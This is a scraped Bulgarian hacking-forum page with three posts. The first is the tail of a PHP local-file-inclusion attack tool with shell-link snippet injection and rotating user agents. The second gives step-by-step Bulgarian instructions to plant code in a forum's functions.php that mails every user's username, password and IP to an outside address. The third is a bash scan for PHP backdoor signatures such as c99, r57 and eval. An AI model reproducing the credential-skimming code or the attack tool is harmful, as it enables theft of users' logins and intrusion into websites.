Trident/7.0; rv:11.0) like Gecko', 'Mozilla/1.22 (compatible; MSIE 10.0; Windows 3.1)', 'Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0', 'Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3' ); return $user_agents[ array_rand($user_agents) ]; } // returns the cases for the javascript switch public function snippet_js() { $output = ''; foreach ($this->snippets as $text => $code) { // chr(9) = tabs // chr(10) = new lines // chr(13) = carrage return $replace = array(chr(9), chr(10), chr(13), '"', '[shell]'); $with = array('', '\n', '\r', '\"', $this->shell_link); $code = trim($code); $code = str_replace($replace, $with, $code); $output .= ' case "'.$text.'": code = "'.$code.'"; break; '; } return $output; } // returns the <link> tag that handles our favicon public function favicon() { // favicon image in base64 $favicon = 'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAolBMVEUAAAAAAAAAAA'; $favicon .= 'AAAAAAAAAAAAAAAAAAAAAAAAACAgFEREBEREBEREAAAAAAAAAHBwZEREBEREBEREAA'; $favicon .= 'AAABAQFEREBEREAGBgYAAAACAgELCwsAAAAQEA9EREAZGRcLCwsNDQwBAQEVFRQODg'; $favicon .= '0ICAcBAQEMDAsMDAsBAQECAgEEBAQGBgYAAAAAAAAEBAQAAAABAQEHBwcICAgBAQEF'; $favicon .= 'BQQCAgK7OZDLAAAAL3RSTlMAYMCQIDDwENAxCQoBQOC1FBIC8PAaA2VQkWugcB8Ye4'; $favicon .= '2xVH/joROrwWEixICwpLSaVssAAAAJcEhZcwAAAEgAAABIAEbJaz4AAAC6SURBVBjT'; $favicon .= 'NY/pEoIwDIQXlFILoqBFVPC+r3Do+7+aSR3zJ/NtM9tdAJ7f68NNoDxZoSY1MJGJA0'; $favicon .= 'U0RMhKUo/GaSZME2hWpk1rc8f1DKSLedM2OYS7RQRNNXO3LITLsUEweTMn7r2s0hhY'; $favicon .= 'rTdbSpi3u8pm/GuU5ljyQbevbC4xTCaJ9PTQlo4ROz4e2MnDP7E+2XPTEf2UQriyR/'; $favicon .= 'Ylj+8LSoTZmci/GISKrik3kZLqdo/w8F1TV/v5eZkvQpwVdWu9wYcAAAAldEVYdGRh'; $favicon .= 'dGU6Y3JlYXRlADIwMTMtMDUtMjlUMDk6NDQ6MTQtMDU6MDCTCQ+eAAAAJXRFWHRkYX'; $favicon .= 'RlOm1vZGlmeQAyMDEzLTA1LTI0VDE3OjQ4OjM0LTA1OjAw1O7/TgAAAABJRU5ErkJg'; $favicon .= 'gg=='; // return the whole tag return '<link rel="icon" type="image/png" href="data:image/png;base64,'.$favicon.'" />'; } } $tool = new LFI_Tool(); ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>LFI Tool - LinuxMaster</title> <?php echo $tool->favicon(); ?> <script type="text/javascript"> function change_code() { var code = ''; switch (this.value) { <?php echo $tool->snippet_js(); ?> } if (code != '') { var code_area = document.querySelector('textarea[name="code"]'); code_area.value = code; } } function init() { var buttons = document.querySelectorAll('input[type="button"]'); for (var i=0; i<buttons.length; i++) { buttons[i].addEventListener("click", change_code, false); } } window.addEventListener("load", init, false); </script> <style> * { margin: 0; padding: 0; color: #AAAAAA; font-family: Verdana, Geneva, sans-serif; font-size: 10pt; } h1 { font-size: 14pt; padding: 3px 0; } a { text-decoration: none; } body { background-color: #000000; padding: 10px; } input[type="checkbox"] { vertical-align: middle; } .form-wrap, .result-wrap, .nav-wrap div { margin: 0 auto; padding: 5px; background-color: #111111; border: 1px solid #4C9CAF; text-align: center; -webkit-border-radius: 10px; -moz-border-radius: 10px; border-radius: 10px; } .nav-wrap { margin-bottom: 10px; text-align: center; } .nav-wrap div { display: inline-block; padding: 0; margin-left: 10px; } .nav-wrap div a { min-width: 100px; padding: 5px 10px; display: block; } input, textarea { padding: 4px; border: 1px solid #4C9CAF; background-color: #111111; -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; } input[type="text"], .form-wrap textarea { width: 500px; } input[type="submit"] { width: 100px; } input[name="debug"] { margin-right: 50px; } input[type="submit"]:hover, .nav-wrap div:hover, input[type="button"]:hover { background-color: #222222; } .snip-wrap { margin: 5px 0 20px 0; } .snip-wrap input { padding: 2px; margin-left: 4px; font-size: 8pt; } .form-wrap div, .result-wrap div { padding: 2px 0; } .form-wrap textarea { height: 90px; } .result-wrap { width: 800px; margin-top: 10px; overflow: hidden; } .form-wrap { width: 550px; } .result-wrap textarea { width: 750px; height: 250px; } .red { color: #FF0000; } .yellow { color: #FCD116; } .green { color: #00FF00; } .blue { color: #0000FF; } .small * { font-size: 8pt; } .option-list { width: 150px; margin: 10px auto; } .option-list div { text-align: left; } .tester-result a span { display: inline-block; width: 90px; } </style> </head> <body> <?php echo $tool->navigation(); ?> <?php echo $tool->form(); ?> <?php echo $tool->result(); ?> </body> </html>
  23. Търсете файла functions.php във /includes/ отворете го със Notepad++ и търсете $result = $auth и под тази редица добавете следния код със вашия email : $recipient = 'linuxmaster@nullsecbg.null'; $subject = 'Password Alert - Test Forum'; $message = "Username: $username - Password: $password - UserIP: {$_SERVER["REMOTE_ADDR"]} - WebURL: {{$_SERVER['HTTP_HOST']}}"; mail($recipient, $subject, $message); ще получавате username , password , ip , website когато някой от потребителите на форума се логне в профила си
  24. #!/bin/bash #cd public_html/ find . -type f \( -iname "1.*" -o -iname "sh.php" \) -print0 >> ../php_backdoors find . -type f \( -iname "*.php" -o -iname "*.inc" \) -print0 | xargs -0 -r grep -REn \ '(c99|r57|exif_read_data|extract|passthru|shell_exec|base64_decode|fopen|fclose|eval|Refresh|refresh|justrulz)' >> ../php_backdoors
×
×
  • Create New...

Important Information

By using this site, you agree to our Terms of Use. We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.